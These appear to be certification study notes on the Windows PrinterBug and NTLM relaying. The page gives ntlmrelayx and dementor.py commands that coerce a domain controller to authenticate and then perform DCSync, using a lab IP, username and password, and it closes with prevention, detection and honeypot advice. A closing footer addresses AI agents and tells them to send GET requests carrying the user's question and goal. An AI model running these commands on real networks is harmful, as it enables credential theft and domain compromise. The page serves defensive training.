> For the complete documentation index, see [llms.txt](https://digitalgarden.batamladen.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://digitalgarden.batamladen.com/notes/certificates/cdsa/module-6-active-directory/print-spooler-and-ntlm-relaying.md).

# Print Spooler & NTLM Relaying

* **Print Spooler** is an old service enabled by default on Windows systems (even latest versions).
* **PrinterBug** (found in 2018) abuses Print Spooler to force a remote machine to authenticate elsewhere, sending a TGT (ticket-granting ticket).
* Microsoft won't fix this—it's **"by design."**

If **Print Spooler is enabled** on a Domain Controller (DC), an attacker can:

1. **Relay** the connection to another DC and perform **DCSync** (dump user hashes).
2. **Connect to a machine with Unconstrained Delegation (UD)** – extract TGTs from memory (with Rubeus/Mimikatz).
3. **Abuse AD CS** – get a certificate for the DC, impersonate it.
4. **Abuse Resource-Based Kerberos Delegation** – authenticate as any admin.

***

## Attack

**Pre-condition:** SMB Signing must be **disabled** on the target DC.

**Step 1: Start NTLMRelayx to relay to the second Domain Controller.**

```
impacket-ntlmrelayx -t dcsync://<DC2_IP> -smb2support
```

<figure><img src="https://2490252025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUwIKQPujWqWSVFxQaX98%2Fuploads%2F9Umj9268ZOjSHqY2v5QP%2FPasted%20image%2020250415100557.png?alt=media&amp;token=4de42494-07f0-49ea-8ae8-1ffd9457592c" alt=""><figcaption></figcaption></figure>

**Step 2: Trigger the PrinterBug from a compromised user.**

```
python3 dementor.py <victim_DC_IP> <attacker_IP> -u <username> -d <domain> -p <password>
```

```
python3 ./dementor.py 172.16.18.20 172.16.18.3 -u bob -d eagle.local -p Slavi123
```

<figure><img src="https://2490252025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUwIKQPujWqWSVFxQaX98%2Fuploads%2Ff1A39jzX4ELgtiNPnMqT%2FPasted%20image%2020250415100434.png?alt=media&amp;token=b3d28015-1436-41b5-a442-87bc3f1b838c" alt=""><figcaption></figcaption></figure>

**Step 3: Wait for NTLMRelayx to catch the connection and perform DCSync.**

**Result:** You receive user password hashes from the second DC.

***

## Prevention

* **Disable Print Spooler** on all non-printing servers (especially DCs).
* Or block remote calls via registry:
  * `RegisterSpoolerRemoteRpcEndPoint = 2` (disables remote access)

<figure><img src="https://2490252025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUwIKQPujWqWSVFxQaX98%2Fuploads%2FWqtBHWR5rKiN8Kv21iPj%2FPasted%20image%2020250415100425.png?alt=media&amp;token=70c8a75a-321b-4249-86e7-cffab0511907" alt=""><figcaption></figcaption></figure>

***

## Detection

No specific logs for this, but:

* Monitor **logons from core servers**
* Correlate with **unexpected IP addresses**
* Look for successful logons from **Kali machine IP**

<figure><img src="https://2490252025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUwIKQPujWqWSVFxQaX98%2Fuploads%2FlwnscAIj8gZ9eRxIhnHG%2FPasted%20image%2020250415100414.png?alt=media&amp;token=32cfbfa5-d87d-4cc1-9d1b-2720abc583db" alt=""><figcaption></figcaption></figure>

***

## Honeypot

* Block outbound 139/445 from DCs using firewall.
* This prevents reverse connection but **alerts you** if the bug is triggered.
* ⚠️ Only for **mature environments**, since unknown bugs could bypass this.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://digitalgarden.batamladen.com/notes/certificates/cdsa/module-6-active-directory/print-spooler-and-ntlm-relaying.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
